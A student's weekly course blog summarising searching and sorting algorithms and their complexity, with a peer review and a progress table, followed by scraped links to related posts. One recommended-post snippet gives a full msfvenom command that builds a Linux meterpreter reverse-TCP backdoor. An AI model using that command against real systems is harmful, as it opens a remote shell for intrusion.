20162314 2017-2018-1 《Program Design & Data Structures》Learning Summary Of The Second Week

Summary of teaching materials

  • Searching is the process of finding a designated target within a group of items or determining that it doesn’t exist.

  • An efficient search minimizes the number of comparisons made.

  • A binary search capitalizes on the fact that the search pool is sorted.

  • The Comparable interface allows an algorithm to be implemented polymorphically, without regard to a particular class.

  • A binary search capitalizes on the fact that the search pool is sorted.

  • A binary search eliminates half of the viable candidates with each comparison.

  • Sorting is the process of arranging a list of items into a defined order based on some criteria.

  • The selection sort algorithm sorts a list of values by repeatedly putting a particular value into its final, sorted position.

  • The insertion sort algorithm sorts a list of values by repetitively inserting a particular value into a subset of the list that has already been sorted.

  • The bubble sort algorithm sorts a list by repeatedly comparing neighboring elements and swapping them if necessary.

  • The quick sort algorithm sorts a list by partitioning the list and then recursively sorting the two partitions.

  • The merge sort algorithm sorts a list by recursively dividing the list in half until each sublist has one element and then merging these sublists into the sorted order.

  • A binary search has logarithmic complexity, making it very efficient for a large search pool.

  • The average running time complexity for selection sort, insertion sort, and bubble sort is O(n 2 ).

  • The key to quick sort is picking a good partition element.

  • Merge sort has a maximum running time complexity of O(n log n).

Problem and solution in learning materials of teaching.

Which of linear search and binary search is faster ? And why ?

To start with,A binary search capitalizes on the fact that the search pool is sorted.At the same time,a binary search eliminates half of the viable candidates with each comparison.

Therefore,In general, a binary search is more efficient than a linear search because it eliminates many candidates with each comparison.

What is the difference between merge sort and selection sort ? In addition,there are insertion sort, and bubble sort.

Although selection sort, insertion sort, and bubble sort each solve the problem with a different technique, they all do so with approximately the same efficiency.
All three of those algorithms use two loops, one nested within the other, toarrange the elements in order, and the details all lead to an O(n 2 ) running time.
The analysis of merge sort is similar to that of quick sort, except that we are guaranteed that the recursive decomposition for merge sort will always divide the
data in half.Therefore, the effort of merge sort is O(n log n) in the best, worst, and average cases.

Code hosting

Summary of error for last week.

Linear search is always more effective than binary search.The answer should be false, for the situation of "n = 2".

Evaluate for my partner

  • Advantage and problem in the blog:

    • Concise and comprehensie
    • Uncleary to the content
    • Mould is amazing
  • Advantage and problem in the code:
    • Serious writing.
    • Wonderful idea
    • Too less

Learning situation of partner

  • 20162310

  • Learning content of partner:
    • Algorithm
    • Recursion
    • HanoiTowers and maze

Anything else that want to say

  • It's not easy to persere on utizing English to write a blog.But I'm getting used to doing this because of the benefit.

Academic progress check

Code line number(increasing/accumulative) Blog number(inc/acc) studying time(inc/acc) progress
target 5000lines 30articles 400hours
First week 180/180 1/1 20/20
Second week 2049/2229 1/2 18/38
Third week 500/1000 3/7 22/60
Fourth week 300/1300 2/9 30/90

20162314 《Program Design & Data Structures》Learning Summary Of The Second Week的更多相关文章

  1. 20162314 《Program Design & Data Structures》Learning Summary Of The Ninth Week

    20162314 2017-2018-1 <Program Design & Data Structures>Learning Summary Of The Ninth Week ...

  2. 20162314 《Program Design & Data Structures》Learning Summary Of The Seventh Week

    20162314 2017-2018-1 <Program Design & Data Structures>Learning Summary Of The Seventh Wee ...

  3. 20162314 《Program Design & Data Structures》Learning Summary Of The Fifth Week

    20162314 2017-2018-1 <Program Design & Data Structures>Learning Summary Of The Fifth Week ...

  4. 20162314 《Program Design & Data Structures》Learning Summary Of The First Week

    20162314 2017-2018-1 <Program Design & Data Structures>Learning Summary Of The First Week ...

  5. 20162314 《Program Design & Data Structures》Learning Summary Of The Eleventh Week

    20162314 2017-2018-1 <Program Design & Data Structures>Learning Summary Of The Eleventh We ...

  6. 20162314 《Program Design & Data Structures》Learning Summary Of The Tenth Week

    20162314 2017-2018-1 <Program Design & Data Structures>Learning Summary Of The Tenth Week ...

  7. 20162314 《Program Design & Data Structures》Learning Summary Of The Eighth Week

    20162314 2017-2018-1 <Program Design & Data Structures>Learning Summary Of The Eighth Week ...

  8. 20182320《Program Design and Data Structures》Learning Summary Week9

    20182320<Program Design and Data Structures>Learning Summary Week9 1.Summary of Textbook's Con ...

  9. 【Python学习笔记】Coursera课程《Python Data Structures》 密歇根大学 Charles Severance——Week6 Tuple课堂笔记

    Coursera课程<Python Data Structures> 密歇根大学 Charles Severance Week6 Tuple 10 Tuples 10.1 Tuples A ...

随机推荐

  1. 文本处理三剑客之 grep/egrep

    grep:文本过滤工具 支持BRE egrep: 支持ERE fgrep: 不支持正则 作用:根据用户指定的“模式”,对目标文本逐行进行匹配检查,打印匹配到的行 模式:由正则表达式字符及文本字符所编写 ...

  2. day 84 Vue学习四之过滤器、钩子函数、路由、全家桶等

      本节目录 一 vue过滤器 二 生命周期的钩子函数 三 vue的全家桶 四 xxx 五 xxx 六 xxx 七 xxx 八 xxx 一 Vue的过滤器 1 moment.js 在这里我们先介绍一个 ...

  3. devise的使用

    ~ 在gemfile中加入 gem 'devise' ~ 终端输入 $ bundle install $ rails generate devise:install ~ 确保登录之后能正常跳转 在co ...

  4. Nodejs-第一篇(什么是NodeJS)

    NodeJS 介绍 Node.js 是什么? 1.Node.js 是一个开发平台,就像Java开发平台..Net开发平台.PHP开发平台.Apple开发平台一样: 什么是开发平台?它们有对应的编程语言 ...

  5. webBrowser.Document.Cookie取不到HttpOnly的Cookie,取Cookie不完整

    在做数据采集时,有些网站需要输入验证码,但各网站验证码都不同,不可能有完美的识别验证码的代码,所以我也没去研究,我所采取的方案是:在winform里通过WebBrowser调用网页先手动登录系统,然后 ...

  6. 微信小程序:设置页面计时自动跳转

    一.功能描述 当出发某一事件后,希望在规定的时间后自动执行另一事件,比如页面跳转功能. 二.代码实现 使用setTimeout函数,单位为毫秒ms setTimeout(function(){ wx. ...

  7. msfvenom生成linux后门

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip  LPORT=port   -f elf > shell.elf

  8. APP测试基本流程以及APP测试要点

    APP测试流程梳理 APP测试要点梳理 链接:http://pan.baidu.com/s/1gfaEZ1x 密码:07yt 1 APP测试基本流程 1.1流程图 1.2测试周期 测试周期可按项目的开 ...

  9. JAVA图书管理系统汇总共27个[转]

    java图书馆管理系统[优秀毕业设计论文+源码]http://down.51cto.com/data/68350java+sql server图书管理系统 http://down.51cto.com/ ...

  10. 开始认真的学习Python

    虽然以前有多年的Fortran.C.C++以及Java开发经验,但真的开始熟悉Python还是被惊艳到了,太舒服了,看起来有如沐春风的感觉,简洁和优美,这个才是代码艺术.